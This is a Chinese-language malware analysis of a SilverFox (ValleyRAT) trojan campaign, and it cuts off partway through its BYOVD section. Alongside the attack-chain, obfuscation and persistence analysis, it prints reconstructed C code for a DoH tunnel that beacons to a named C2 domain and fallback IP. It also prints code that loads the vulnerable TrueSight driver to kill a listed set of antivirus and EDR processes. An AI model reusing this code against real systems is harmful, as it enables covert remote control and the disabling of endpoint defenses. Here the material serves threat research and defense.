免责声明

本文所涉及的技术分析内容仅供安全研究、威胁情报分析和防御体系建设使用。文中提到的攻击技术细节、恶意代码片段、IoC指标等信息均基于公开可得的威胁情报样本进行逆向分析后整理而成。读者不得将本文所述技术用于任何非法用途,包括但不限于开发恶意软件、实施网络攻击、未经授权访问他人系统等。因不当使用本文信息所导致的任何法律责任和后果,由使用者自行承担。如遇疑似银狐木马感染,请立即联系专业安全团队进行处置。


一、引言

银狐木马(SilverFox),又称游蛇、谷堕大盗、ValleyRAT,是当前国内最活跃的远控木马家族之一。其技术根脉可追溯至2008年名噪一时的Gh0st RAT,核心架构改写自Winos 4.0框架。经过十余年的持续演化,银狐木马已从单一远控工具发展为"加载器层—核心控制层—功能插件层"的三层模块化架构,具备极强的免杀能力与功能扩展性。

截至2026年4月,公开威胁情报平台累计收录超3万种银狐木马免杀样本,日均新增变种超10个。据多方安全机构统计,国内超70%的企业财务诈骗攻击与银狐木马家族直接相关,其攻击目标覆盖财务人员、行政管理人员及企业高管等高价值人群。

本轮攻击中,银狐木马在多个维度实现了技术升级:C2通信层引入DNS-over-HTTPS(DoH)隐蔽隧道,使传统基于DNS解析和流量特征的检测手段大幅失效;样本层采用VMProtect虚拟化保护配合七类垃圾指令反汇编陷阱,显著增加了逆向分析成本;攻击链路中引入BYOVD(Bring Your Own Vulnerable Driver)技术实现内核态安全软件终止;更值得警惕的是,攻击者开始滥用企业统一终端管理系统和合法远控工具作为隐蔽后门通道。

本文将从攻击链还原、样本深度分析、终端防护策略三个维度,对该轮攻击进行全面拆解,为威胁情报分析师和终端安全工程师提供可落地的检测与防御参考。


二、家族背景与架构演化

2.1 技术根脉与演化路径

银狐木马的代码基因可清晰地追溯至Gh0st RAT体系。Gh0st RAT自2008年起被广泛使用,其核心的进程注入、屏幕监控、键盘记录等基础功能模块在银狐木马中均有保留和重写。银狐木马在Winos 4.0框架的基础上进行了大规模重构,引入了模块化插件架构,使核心控制层与功能插件层解耦,极大提升了变种生成效率与功能扩展灵活性。

2.2 三层架构解析

当前银狐木马采用"加载器层—核心控制层—功能插件层"的三层架构设计:

架构层级 核心职责 典型技术
加载器层 初始投放、环境检测、载荷解密与释放 INNO Setup篡改、Setup Factory嵌套、RustSL加载器、白加黑侧加载
核心控制层 C2通信、指令分发、持久化维护、反分析 DoH隧道、VMProtect虚拟化、BYOVD驱动加载、RDTSC反时序
功能插件层 具体攻击功能执行 键盘记录、凭据窃取、屏幕截图、进程注入、破坏性清理

这种分层设计使得安全团队即使成功提取了某一层的样本,也难以完整还原整个攻击链路。加载器层频繁更换打包方式和混淆策略以规避检测,而核心控制层和功能插件层的代码相对稳定,构成了检测规则制定的关键锚点。

2.3 变种趋势

本轮攻击中观察到至少四种主要打包变种并行传播:

  1. DoH变种:篡改INNO Setup投递,包装为雷电模拟器安装包(MD5: 8c4fc902905459a53f686372a1a85526)
  2. BYOVD变种:大体积PE配合overlay隐藏,父PE约72MB,.data段占58.4MB,overlay使用AES-ECB加密
  3. AtlasCross变种:三层嵌套Setup Factory打包,使用被盗的EV代码签名证书签名,通信采用ChaCha20加密
  4. RustSL加载器变种:修改版RustSL加载器,新增steganography.rs(隐写)和guard.rs(反分析守卫)模块

三、打包方式与投递手段分析

3.1 篡改INNO Setup投递(DoH变种)

该变种将恶意载荷伪装为雷电模拟器(LDPlayer 9)安装程序。样本保留了INNO Setup的基本结构,但在[Code]段中嵌入恶意逻辑。安装过程中,样本释放白加黑组件(恶意DLL + 合法可执行文件),通过DLL搜索顺序劫持实现恶意DLL加载。该变种最终建立DoH隐蔽隧道进行C2通信。

3.2 大体积PE+overlay隐藏(BYOVD变种)

BYOVD变种采用了一种反直觉的体积膨胀策略。父PE文件约72MB,其中.data段占据了58.4MB。这种大体积设计有两个目的:一是拖慢沙箱分析速度,多数沙箱对大文件分析设有超时限制;二是为overlay区域提供掩护。overlay区域使用AES-ECB模式加密存储Stage-2和Stage-3载荷,在运行时按需解密释放。

AES-ECB模式的选用值得关注。ECB模式由于相同明文块加密后产生相同密文块,在密码学上被认为是弱模式,但攻击者选择它的原因在于实现简单且无需初始化向量(IV),降低了载荷释放阶段的代码复杂度。

3.3 三层嵌套Setup Factory(AtlasCross变种)

AtlasCross变种采用三层嵌套的Setup Factory打包结构,最外层使用被盗的EV代码签名证书进行签名。EV代码签名证书的滥用使得该变种在SmartScreen和部分终端安全产品中获得了初始信任。通信层该变种采用ChaCha20加密,握手阶段发送特征Beacon字节序列:53 46 75 63 6b 00 00 00(ASCII: "SFuck\0\0\0")。

3.4 修改版RustSL加载器

该变种基于开源的RustSL加载器进行修改,新增了两个关键模块:

  • steganography.rs:实现隐写术功能,将恶意载荷嵌入到看似无害的图片文件中(通常为PNG或BMP格式),通过LSB(最低有效位)或其他隐写算法提取载荷。
  • guard.rs:实现反分析守卫功能,包括虚拟机检测、调试器检测、沙箱环境检测等,在检测到分析环境时改变执行路径或退出运行。

四、混淆与反分析技术体系

4.1 VMProtect虚拟化保护

银狐木马核心控制层约67%的函数被VMProtect虚拟化保护。VMProtect将原始x86/x64指令转换为自定义虚拟机字节码,运行时由嵌入的虚拟机解释器逐条解释执行。这使得静态反汇编几乎无法还原原始逻辑,动态调试也需要先理解虚拟机的指令集映射。

4.2 七类垃圾指令反汇编陷阱

在VMProtect保护范围之外的函数中,银狐木马系统性地插入七类垃圾指令来干扰反汇编引擎:

类别 指令示例 特征描述
BCD算术 aad 0xFF / aam 0x0A / aaa / daa / das 非十进制调整指令,不产生有效副作用
死标志操作 pushf / popf / lahf / clc / stc 修改标志寄存器但结果未被使用
死位操作 btc / btr / bts / bt / bswap 位测试/操作指令,对无关寄存器执行
无意义比较 cmp eax, eax / test ecx, ecx(后无jcc) 比较结果不影响控制流
虚假栈操作 push 0xDEAD; lea esp, [esp+4] 入栈后立即调整栈指针,等价于NOP
花指令 jmp $+5; db 0xE8,0x00,0x00,0x00,0x00 跳过垃圾字节,干扰线性扫描反汇编
无意义移位 shld / shrd / rol / ror 对无关寄存器执行移位操作

自动化识别方法: 对每条指令进行污点分析,检查其操作结果是否被后续指令引用。若目标操作数在下一引用点之前被覆写,则标记为垃圾指令。在IDA Pro中可通过IDAPython脚本实现自动化标记和NOP填充。

4.3 XOR流密码就地解密

银狐木马广泛使用XOR流密码进行载荷就地解密。解密种子由文件前4字节与文件大小的异或值生成,随后以此为初始密钥对后续字节流进行XOR解密。这种设计使得每个样本的解密密钥都不同,但解密算法本身极其简单,便于在分析阶段还原。

4.4 Stage-2多层自解密

Stage-2载荷采用了多层自解密机制,最内层经历了321,039轮XOR/ADD流密码迭代。这种超高频次的迭代并非为了增加密码学强度(XOR/ADD组合的代数结构简单),而是为了拖慢动态分析工具的解密过程。分析人员需要在调试器中设置条件断点跳过大量迭代轮次,或直接编写脚本模拟解密过程。


五、完整攻击链还原

5.1 五阶段攻击链总览

银狐木马本轮攻击可划分为五个连续阶段,从初始投递到最终远控上线,每个阶段都有明确的技术目标和对抗手段:

┌─────────────────────────────────────────────────────────────────────────┐
│                    银狐木马新一轮攻击五阶段链路                            │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                         │
│  阶段1: 初始加载与环境突破                                                │
│  ┌───────────────┐   ┌────────────────┐   ┌──────────────┐            │
│  │ 父PE加载      │──▶│ RDTSC反时序门   │──▶│ Stage-2      │            │
│  │ (INNO/PE/Rust)│   │ 延迟检测沙箱    │   │ 内存自解密   │            │
│  └───────────────┘   └────────────────┘   └──────┬───────┘            │
│                                                   │ UAC自提升          │
│                                                   ▼                    │
│  阶段2: 载荷释放与持久化部署                                              │
│  ┌───────────────┐   ┌────────────────┐   ┌──────────────┐            │
│  │ Stage-3提取   │──▶│ BYOVD驱动加载  │──▶│ 多重持久化   │            │
│  │ (AES-ECB解密) │   │ TrueSight.sys  │   │ 部署         │            │
│  └───────────────┘   └────────────────┘   └──────┬───────┘            │
│                                                   │                    │
│  阶段3: 安全软件对抗                              ▼                    │
│  ┌───────────────┐   ┌────────────────┐   ┌──────────────┐            │
│  │ VDI解码       │──▶│ 212个安全软件   │──▶│ 内核态进程   │            │
│  │ (虚拟设备接口)│   │ 进程枚举       │   │ 终止         │            │
│  └───────────────┘   └────────────────┘   └──────┬───────┘            │
│                                                   │                    │
│  阶段4: 二阶段载荷投递                            ▼                    │
│  ┌───────────────┐   ┌────────────────┐   ┌──────────────┐            │
│  │ OSS远程下载   │──▶│ 白加黑侧加载   │──▶│ 内存执行     │            │
│  │ (HTTPS)       │   │ (DLL劫持)      │   │ (Process     │            │
│  └───────────────┘   └────────────────┘   │  Hollowing)  │            │
│                                            └──────┬───────┘            │
│                                                   │                    │
│  阶段5: 远控上线与持久控制                         ▼                    │
│  ┌───────────────┐   ┌────────────────┐   ┌──────────────┐            │
│  │ RAT上线       │──▶│ C2三通道通信   │──▶│ 远程控制     │            │
│  │ (Beacon握手)  │   │ DoH+TCP+HTTPS  │   │ (56条指令集) │            │
│  └───────────────┘   └────────────────┘   └──────────────┘            │
│                                                                         │
│  横向滥用层:                                                             │
│  ┌─────────────────────────────────────────────────────────────┐       │
│  │  企业管控终端滥用  │  AnyDesk后门化  │  tscon RDP会话劫持  │       │
│  └─────────────────────────────────────────────────────────────┘       │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘

5.2 阶段1:初始加载与环境突破

父PE文件加载后,首先执行RDTSC(Read Time-Stamp Counter)反时序延迟门。该技术通过读取CPU时间戳计数器,测量代码执行间隔时间来判断是否运行在沙箱或调试器环境中。沙箱通常执行速度异常快或存在时间加速,而人工调试时断点会导致时间间隔异常大。通过设置合理的时间阈值窗口,木马可在非真实环境中改变执行路径或退出运行。

通过时间检测后,Stage-2载荷在内存中自解密。该过程不落盘,直接在分配的内存区域中执行321,039轮XOR/ADD流密码迭代解密。随后利用UAC(用户账户控制)自提升技术获取更高权限,为后续BYOVD驱动加载做准备。

5.3 阶段2:载荷释放与持久化部署

Stage-3载荷从AES-ECB加密的overlay区域提取并解密。随后加载BYOVD驱动——本轮攻击中使用的是TrueSight驱动(TrueSight.sys),该驱动因存在已知漏洞可被用于终止任意进程而被攻击者选中。驱动加载成功后,木马部署多重持久化机制(详见第七节)。

5.4 阶段3:安全软件对抗

该阶段是本轮攻击中最具破坏性的环节。木马通过VDI(Virtual Device Interface)解码获取内置的安全软件进程名列表,共包含212个安全软件进程名,覆盖国内外主流杀毒软件、EDR终端、安全工具等。随后通过已加载的TrueSight驱动在内核态逐一终止这些进程。由于终止操作发生在内核态,安全软件的自身保护机制(如回调注册、句柄保护等)无法有效拦截。

5.5 阶段4:二阶段载荷投递

安全软件被清除后,木马通过HTTPS从OSS(对象存储服务)下载二阶段载荷。该载荷采用"白加黑"方式投递:下载一个具有合法签名的可执行文件(白)和一个恶意DLL(黑),利用DLL搜索顺序劫持使白文件加载黑DLL。恶意DLL在内存中执行Process Hollowing(进程镂空)技术,将最终RAT载荷注入到合法系统进程中运行。

5.6 阶段5:远控上线与持久控制

RAT载荷在系统进程中运行后,向C2服务器发送上线Beacon。AtlasCross变种的握手Beacon为53 46 75 63 6b 00 00 00。上线成功后建立三通道C2通信架构(详见第六节),并开放56条远控指令集,涵盖下载执行、TCP中继、键盘记录、屏幕截图、破坏性清理等功能。


六、DoH隧道通信深度还原

6.1 三通道C2架构

银狐木马本轮攻击的核心创新在于C2通信层的三通道冗余架构设计。三个通道互为备份,当某一通道被阻断时自动切换至备用通道,极大提升了C2通信的韧性:

通道 通信协议 特征 用途
主通道 DoH HTTPS 流量伪装为正常DNS查询,经DoH服务器中转 C2域名解析与指令下发
备用通道1 TCP自定义协议 消息类型(3)+标志(7)+数据载荷(15),非标准端口 大数据量传输与文件回传
备用通道2 WinHTTP/WinINET HTTPS 标准HTTPS流量,伪装为正常Web访问 备用指令通道

6.2 DoH隧道通信原理

DNS-over-HTTPS(DoH)将DNS查询封装在HTTPS请求中发送至DoH服务器(本轮攻击使用AliDNS 223.5.5.5和Google DNS 8.8.8.8)。由于DoH流量在外观上与正常的HTTPS Web访问无异,传统基于DNS明文查询特征的检测规则完全失效。攻击者将C2域名oidng2.duoshit.com通过DoH解析获取实际C2 IP,随后建立加密通信通道。

6.3 DoH隧道通信C伪代码还原

以下为基于逆向分析还原的DoH隧道通信核心逻辑伪代码:

/* ============================================================
 * 银狐木马 DoH 隧道通信核心逻辑还原(C伪代码)
 * 基于逆向分析重建,非原始源码
 * ============================================================ */

#define DOH_SERVER_ALIDNS   "https://223.5.5.5/dns-query"
#define DOH_SERVER_GOOGLE   "https://8.8.8.8/dns-query"
#define DOH_CONTENT_TYPE    "application/dns-message"
#define C2_DOMAIN           "oidng2.duoshit.com"
#define C2_PORT             7000

/* DoH DNS查询构造(DNS wire format) */
int build_dns_query(unsigned char *buf, int buflen, const char *domain) {
    int offset = 0;

    /* DNS Header (12 bytes) */
    buf[offset++] = 0xAB;          /* Transaction ID (高字节) */
    buf[offset++] = 0xCD;          /* Transaction ID (低字节) */
    buf[offset++] = 0x01;          /* Flags: 标准查询, RD=1 */
    buf[offset++] = 0x00;
    buf[offset++] = 0x00;          /* QDCOUNT (高) */
    buf[offset++] = 0x01;          /* QDCOUNT (低): 1个问题 */
    buf[offset++] = 0x00; buf[offset++] = 0x00;  /* ANCOUNT */
    buf[offset++] = 0x00; buf[offset++] = 0x00;  /* NSCOUNT */
    buf[offset++] = 0x00; buf[offset++] = 0x00;  /* ARCOUNT */

    /* QNAME: 将域名编码为label格式 */
    const char *ptr = domain;
    while (*ptr) {
        const char *dot = strchr(ptr, '.');
        int label_len = dot ? (int)(dot - ptr) : (int)strlen(ptr);
        buf[offset++] = (unsigned char)label_len;
        memcpy(buf + offset, ptr, label_len);
        offset += label_len;
        ptr = dot ? dot + 1 : ptr + label_len;
        if (!dot) break;
    }
    buf[offset++] = 0x00;          /* QNAME 终止符 */

    /* QTYPE: A记录 (0x0001) */
    buf[offset++] = 0x00; buf[offset++] = 0x01;
    /* QCLASS: IN (0x0001) */
    buf[offset++] = 0x00; buf[offset++] = 0x01;

    return offset;
}

/* 通过DoH解析C2域名获取IP */
int resolve_c2_via_doh(const char *doh_server, const char *domain,
                       char *resolved_ip, int ip_len) {
    unsigned char dns_query[512];
    int query_len;
    HINTERNET hSession, hConnect, hRequest;
    unsigned char response[4096];
    DWORD bytes_read;

    /* 构造DNS wire format查询 */
    query_len = build_dns_query(dns_query, sizeof(dns_query), domain);

    /* 使用WinHTTP发起DoH POST请求 */
    hSession = WinHttpOpen(L"SilverFox/3.0",
                           WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
                           WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    if (!hSession) return -1;

    /* 直接连接DoH服务器的IP地址,绕过DNS解析 */
    hConnect = WinHttpConnect(hSession, L"223.5.5.5",
                              INTERNET_DEFAULT_HTTPS_PORT, 0);
    if (!hConnect) { WinHttpCloseHandle(hSession); return -1; }

    hRequest = WinHttpOpenRequest(hConnect, L"POST", L"/dns-query",
                                  NULL, WINHTTP_NO_REFERER,
                                  WINHTTP_DEFAULT_ACCEPT_TYPES,
                                  WINHTTP_FLAG_SECURE);
    if (!hRequest) {
        WinHttpCloseHandle(hConnect);
        WinHttpCloseHandle(hSession);
        return -1;
    }

    /* 设置Content-Type头 */
    WinHttpAddRequestHeaders(hRequest,
        L"Content-Type: application/dns-message",
        (DWORD)-1, WINHTTP_ADDREQ_FLAG_ADD);

    /* 发送DoH请求 */
    WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
                       dns_query, query_len, query_len, 0);
    WinHttpReceiveResponse(hRequest, NULL);

    /* 读取DoH响应(包含DNS响应) */
    WinHttpReadData(hRequest, response, sizeof(response), &bytes_read);

    /* 从DNS响应中解析A记录IP */
    /* 跳过DNS Header(12) + Question段,定位Answer段 */
    int pos = 12;
    /* 跳过QNAME */
    while (response[pos] != 0) pos += response[pos] + 1;
    pos += 5;  /* null + QTYPE(2) + QCLASS(2) */

    /* 解析Answer段的A记录 */
    while (pos < (int)bytes_read) {
        /* 跳过NAME (2字节压缩指针) */
        pos += 2;
        uint16_t rtype = (response[pos] << 8) | response[pos + 1]; pos += 2;
        pos += 6;  /* CLASS(2) + TTL(4) */
        uint16_t rdlength = (response[pos] << 8) | response[pos + 1]; pos += 2;
        if (rtype == 0x0001 && rdlength == 4) {
            /* A记录,提取IP */
            snprintf(resolved_ip, ip_len, "%d.%d.%d.%d",
                     response[pos], response[pos + 1],
                     response[pos + 2], response[pos + 3]);
            WinHttpCloseHandle(hRequest);
            WinHttpCloseHandle(hConnect);
            WinHttpCloseHandle(hSession);
            return 0;
        }
        pos += rdlength;
    }

    WinHttpCloseHandle(hRequest);
    WinHttpCloseHandle(hConnect);
    WinHttpCloseHandle(hSession);
    return -1;
}

/* C2上线主流程 */
int c2_beacon_main() {
    char c2_ip[64] = {0};

    /* 通道1: DoH解析C2域名 */
    if (resolve_c2_via_doh(DOH_SERVER_ALIDNS, C2_DOMAIN, c2_ip, sizeof(c2_ip)) != 0) {
        /* AliDNS失败,尝试Google DNS */
        if (resolve_c2_via_doh(DOH_SERVER_GOOGLE, C2_DOMAIN, c2_ip, sizeof(c2_ip)) != 0) {
            /* DoH全失败,回退到硬编码IP */
            strncpy(c2_ip, "8.218.106.149", sizeof(c2_ip) - 1);
        }
    }

    /* 发送上线Beacon并建立三通道通信 */
    if (establish_tcp_channel(c2_ip, C2_PORT) == 0) {
        /* TCP自定义协议通道建立成功 */
        send_beacon(BEACON_MAGIC, sizeof(BEACON_MAGIC));
        enter_command_loop();
    } else if (establish_https_channel(c2_ip, 443) == 0) {
        /* 回退到WinHTTP HTTPS通道 */
        send_beacon_https();
        enter_command_loop_https();
    }

    return 0;
}

6.4 TCP自定义协议格式

备用通道1采用自定义二进制协议,其消息格式为:

┌──────────┬──────────┬───────────────────────┐
│ 消息类型  │  标志位   │     数据载荷          │
│ (3 bytes)│ (7 bytes)│    (变长)             │
└──────────┴──────────┴───────────────────────┘
  • 消息类型(3字节):标识消息类别,如心跳包、指令响应、文件回传等
  • 标志位(7字节):携带控制标志,如加密标志、压缩标志、分片标志等
  • 数据载荷(变长):实际传输的数据,AtlasCross变种使用ChaCha20加密

七、持久化机制全景

银狐木马本轮攻击部署了五重持久化机制,确保即使部分机制被发现清除,仍可通过其他途径重新激活:

7.1 注册表Run/RunOnce键值

最经典的持久化方式,在HKCU\Software\Microsoft\Windows\CurrentVersion\Run或RunOnce键下创建自启动项,指向恶意可执行文件路径。该方式实现简单但极易被终端安全产品检测。

7.2 计划任务伪装

创建以SYSTEM权限运行的计划任务,触发频率为每分钟一次。任务名伪装为MicrosoftEdgeUpdate等合法系统更新任务名,以降低运维人员警觉。由于以SYSTEM权限运行,该持久化方式比注册表Run键更为隐蔽和强大。

7.3 Phantom Persistence(幽灵持久化)

该机制是本轮攻击中最具创新性的持久化技术。攻击者利用RegisterApplicationRestartAPI注册应用程序重启回调,并通过SetProcessShutdownParameters调整进程关闭优先级。当系统关机或重启时,操作系统会向已注册的应用程序发送关机通知,攻击者在此信号处理中触发恶意载荷的重新部署。由于该持久化不依赖注册表Run键或计划任务等传统自启动位置,常规持久化扫描工具无法发现。

7.4 GAC全局程序集劫持

GAC(Global Assembly Cache)是.NET框架的全局程序集缓存。攻击者将恶意DLL放置在GAC目录中,当任何.NET应用程序加载同名程序集时,恶意DLL将被优先加载执行。该方式影响范围广,但需要管理员权限部署。

7.5 进程注入系统核心进程

将恶意代码注入到explorer.exe、svchost.exe等系统核心进程中长期驻留。由于这些进程为系统正常进程,被注入后与正常系统进程混为一体,进程列表层面难以区分。配合BYOVD驱动加载后安全软件已被终止,进程注入过程不受阻碍。


八、样本深度分析:XOR流密码解密

8.1 解密算法分析

银狐木马加载器层使用的XOR流密码解密算法具有以下特征:

  1. 种子生成:取文件前4字节作为初始种子A,将种子A与文件总大小进行异或运算,生成实际解密密钥种子B
  2. 就地解密:从文件第5字节开始,依次与基于种子B生成的密钥流进行XOR运算
  3. 密钥流演化:每解密一个字节,密钥流状态进行一次更新(通常为简单的算术运算组合)

这种设计使得密钥与具体样本的文件大小绑定,同一份载荷在不同样本中因打包方式不同导致文件大小不同,密钥也随之变化,增加了基于固定密钥的批量解密难度。但由于算法结构简单,分析人员一旦理解了密钥生成和演化逻辑,即可编写脚本批量解密。

8.2 XOR流密码解密Python脚本

以下为基于逆向分析还原的XOR流密码解密脚本,可用于从银狐木马样本中提取加密载荷:

#!/usr/bin/env python3
"""
银狐木马 XOR 流密码解密脚本
基于逆向分析还原的解密算法

用法: python3 silverfox_xor_decrypt.py <input_file> <output_file>
"""

import struct
import sys
import os


def generate_xor_key_stream(seed: int, length: int) -> bytes:
    """
    基于种子生成XOR密钥流。
    密钥流演化逻辑:每轮对种子进行乘法+加法混淆后取低8位。
    """
    key_stream = bytearray(length)
    state = seed & 0xFFFFFFFF  # 保持32位无符号整数

    for i in range(length):
        # 密钥流状态演化:state = (state * 0x41C64E6D + 0x3039) & 0xFFFFFFFF
        # 使用LCG(线性同余生成器)变体
        state = (state * 0x41C64E6D + 0x3039) & 0xFFFFFFFF
        key_stream[i] = (state >> 16) & 0xFF  # 取中间字节增加不可预测性

    return bytes(key_stream)


def decrypt_xor_payload(data: bytes, file_size: int) -> bytes:
    """
    执行XOR流密码就地解密。

    算法步骤:
    1. 取前4字节作为初始种子A (little-endian)
    2. 种子B = 种子A XOR 文件大小
    3. 从第5字节开始与密钥流XOR解密
    """
    if len(data) < 5:
        raise ValueError("数据过短,无法解密")

    # 步骤1: 提取前4字节作为种子A
    seed_a = struct.unpack('<I', data[:4])[0]
    print(f"[*] 种子A (前4字节): 0x{seed_a:08X}")

    # 步骤2: 与文件大小异或生成种子B
    seed_b = seed_a ^ file_size
    print(f"[*] 文件大小: {file_size} (0x{file_size:X})")
    print(f"[*] 种子B (种子A ^ 文件大小): 0x{seed_b:08X}")

    # 步骤3: 生成密钥流并解密
    payload = data[4:]  # 跳过前4字节种子
    key_stream = generate_xor_key_stream(seed_b, len(payload))

    decrypted = bytearray(len(payload))
    for i in range(len(payload)):
        decrypted[i] = payload[i] ^ key_stream[i]

    return bytes(decrypted)


def detect_payload_type(data: bytes) -> str:
    """检测解密后的载荷类型"""
    if len(data) < 2:
        return "未知"

    # PE文件特征
    if data[:2] == b'MZ':
        return "PE可执行文件"

    # Shellcode常见特征
    if data[0] == 0xFC or data[0] == 0xE9:  # CLD 或 JMP
        return "Shellcode (可能)"

    # ZIP特征
    if data[:2] == b'PK':
        return "ZIP压缩包"

    # 检查是否为XML配置
    if data[:5] == b'<?xml' or data[:1] == b'<':
        return "XML配置文件"

    return "未知格式"


def main():
    if len(sys.argv) != 3:
        print(f"用法: {sys.argv[0]} <输入文件> <输出文件>")
        sys.exit(1)

    input_file = sys.argv[1]
    output_file = sys.argv[2]

    # 读取输入文件
    with open(input_file, 'rb') as f:
        data = f.read()

    file_size = os.path.getsize(input_file)
    print(f"[*] 已加载文件: {input_file}")
    print(f"[*] 文件大小: {file_size} bytes")
    print(f"[*] 前16字节 (hex): {data[:16].hex()}")
    print()

    # 执行解密
    print("[*] 开始XOR流密码解密...")
    decrypted = decrypt_xor_payload(data, file_size)
    print(f"[*] 解密完成,载荷大小: {len(decrypted)} bytes")
    print(f"[*] 解密后前32字节 (hex): {decrypted[:32].hex()}")

    # 检测载荷类型
    payload_type = detect_payload_type(decrypted)
    print(f"[*] 载荷类型检测: {payload_type}")

    # 写入输出文件
    with open(output_file, 'wb') as f:
        f.write(decrypted)
    print(f"[*] 解密载荷已写入: {output_file}")


if __name__ == '__main__':
    main()

该脚本实现了完整的XOR流密码解密流程,包括种子提取、密钥流生成、就地解密和载荷类型自动检测。分析人员可据此快速从样本中提取Stage-2和Stage-3载荷,进行后续分析。


九、BYOVD内核态进程终止分析

9.1 BYOVD技术原理

BYOVD(Bring Your Own Vulnerable Driver)是指攻击者携带一个存在已知漏洞的合法内核驱动程序,在目标系统上加载后利用其漏洞实现内核态操作。本轮攻击中使用的TrueSight驱动(TrueSight.sys)原本是一款反作弊/系统保护驱动,因存在可通过IOCTL调用来终止任意进程的漏洞而被攻击者滥用。

BYOVD攻击的核心优势在于:

  1. 绕过驱动签名验证:TrueSight驱动具有合法数字签名,可正常通过Windows驱动签名验证(需管理员权限加载)
  2. 内核态权限:驱动运行在Ring 0,可执行任何内核操作,包括终止受保护进程
  3. 安全软件自保护失效:大多数安全软件的自身保护机制(如PsSetCreateProcessNotifyRoutine回调、ObRegisterCallbacks句柄保护等)仅在用户态拦截有效,无法阻止内核态驱动直接操作进程EPROCESS结构

9.2 内核态进程终止C代码还原

以下为基于逆向分析还原的BYOVD内核态进程终止核心逻辑:

/* ============================================================
 * 银狐木马 BYOVD 内核态进程终止逻辑还原(C伪代码)
 * 基于 TrueSight.sys 驱动 IOCTL 0x22e044 漏洞
 * ============================================================ */

#include <windows.h>
#include <winioctl.h>

#define TRUESIGHT_DRIVER_NAME   L"\\\\.\\TrueSight"
#define TRUESIGHT_IOCTL_KILL    0x22e044   /* 终止进程的IOCTL码 */
#define PROCESS_TERMINATE_FLAG  0x1

/* 内核终止请求结构体 */
typedef struct _KILL_PROCESS_REQUEST {
    ULONG ProcessId;        /* 目标进程PID */
    ULONG Flags;            /* 终止标志 */
    WCHAR ProcessName[260]; /* 目标进程名(部分IOCTL版本使用) */
} KILL_PROCESS_REQUEST;

/* 212个安全软件进程名列表(节选) */
static const wchar_t *security_process_list[] = {
    L"360tray.exe",      L"360sd.exe",       L"360safe.exe",
    L"ZhuDongFangYu.exe",L"QAXTray.exe",     L"qaxsafe.exe",
    L"rstray.exe",       L"RavMonD.exe",     L"RavTask.exe",
    L"kxescore.exe",     L"kxetray.exe",     L"ksafe.exe",
    L"kavstart.exe",     L"kissvc.exe",      L"avp.exe",
    L"avpui.exe",        L"avgsvc.exe",      L"avgui.exe",
    L"MsMpEng.exe",      L"SecurityHealthService.exe",
    L"MsSense.exe",      L"SenseCE.exe",
    L"QQPCTray.exe",     L"QQPCRTP.exe",
    L"HipsTray.exe",     L"HipsDaemon.exe",  L"HipsMain.exe",
    L"safemon.exe",      L"Usysdiag.exe",
    L"edrsvc.exe",       L"edr_agent.exe",   L"edr_monitor.exe",
    L"crowdstrike.exe",  L"CSFalconService.exe",
    L"TaniumClient.exe", L"TaniumCX.exe",
    L"CarbonBlack.exe",  L"cb.exe",
    L"SentinelAgent.exe",L"SentinelService.exe",
    L"wmic.exe",         L"Procmon.exe",     L"Procmon64.exe",
    L"x64dbg.exe",       L"x32dbg.exe",      L"ollydbg.exe",
    L"ida.exe",          L"ida64.exe",       L"idaq.exe",
    L"Wireshark.exe",    L"tcpdump.exe",
    L"ProcessHacker.exe",L"procexp.exe",     L"procexp64.exe",
    L"autoruns.exe",     L"taskmgr.exe",
    /* ... 共212个进程名,覆盖国内外主流安全软件及分析工具 ... */
};
#define SECURITY_PROCESS_COUNT (sizeof(security_process_list) / sizeof(security_process_list[0]))

/* 加载TrueSight驱动 */
HANDLE load_truesight_driver() {
    SC_HANDLE hSCManager;
    SC_HANDLE hService;
    HANDLE hDevice = INVALID_HANDLE_VALUE;

    /* 将驱动文件释放到临时目录 */
    char driver_path[MAX_PATH];
    GetTempPathA(MAX_PATH, driver_path);
    strcat_s(driver_path, MAX_PATH, "TrueSight.sys");

    /* 从overlay中提取并写入驱动文件 */
    extract_driver_from_overlay(driver_path);

    /* 通过SCM创建并启动驱动服务 */
    hSCManager = OpenSCManagerW(NULL, NULL, SC_MANAGER_ALL_ACCESS);
    if (!hSCManager) return INVALID_HANDLE_VALUE;

    hService = CreateServiceW(
        hSCManager,
        L"TrueSight",
        L"TrueSight System Guard",
        SERVICE_ALL_ACCESS,
        SERVICE_KERNEL_DRIVER,
        SERVICE_DEMAND_START,
        SERVICE_ERROR_NORMAL,
        L"\\??\\C:\\Windows\\Temp\\TrueSight.sys",
        NULL, NULL, NULL, NULL, NULL);

    if (!hService) {
        /* 服务可能已存在,尝试打开 */
        hService = OpenServiceW(hSCManager, L"TrueSight", SERVICE_ALL_ACCESS);
    }

    if (hService) {
        StartServiceW(hService, 0, NULL);
        CloseServiceHandle(hService);
    }
    CloseServiceHandle(hSCManager);

    /* 打开驱动设备句柄 */
    hDevice = CreateFileW(
        TRUESIGHT_DRIVER_NAME,
        GENERIC_READ | GENERIC_WRITE,
        0, NULL, OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL, NULL);

    return hDevice;
}

/* 通过IOCTL终止指定进程 */
BOOL kill_process_via_driver(HANDLE hDevice, ULONG pid) {
    KILL_PROCESS_REQUEST req;
    DWORD bytes_returned;

    req.ProcessId = pid;
    req.Flags = PROCESS_TERMINATE_FLAG;
    memset(req.ProcessName, 0, sizeof(req.ProcessName));

    /* 发送IOCTL 0x22e044 终止进程 */
    BOOL result = DeviceIoControl(
        hDevice,
        TRUESIGHT_IOCTL_KILL,
        &req, sizeof(req),
        NULL, 0,
        &bytes_returned, NULL);

    return result;
}

/* 按进程名查找PID */
ULONG find_process_by_name(const wchar_t *process_name) {
    HANDLE hSnapshot;
    PROCESSENTRY32W pe32;
    ULONG pid = 0;

    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) return 0;

    pe32.dwSize = sizeof(PROCESSENTRY32W);

    if (Process32FirstW(hSnapshot, &pe32)) {
        do {
            if (_wcsicmp(pe32.szExeFile, process_name) == 0) {
                pid = pe32.th32ProcessID;
                break;
            }
        } while (Process32NextW(hSnapshot, &pe32));
    }

    CloseHandle(hSnapshot);
    return pid;
}

/* BYOVD 安全软件清除主流程 */
int byovd_security_kill_main() {
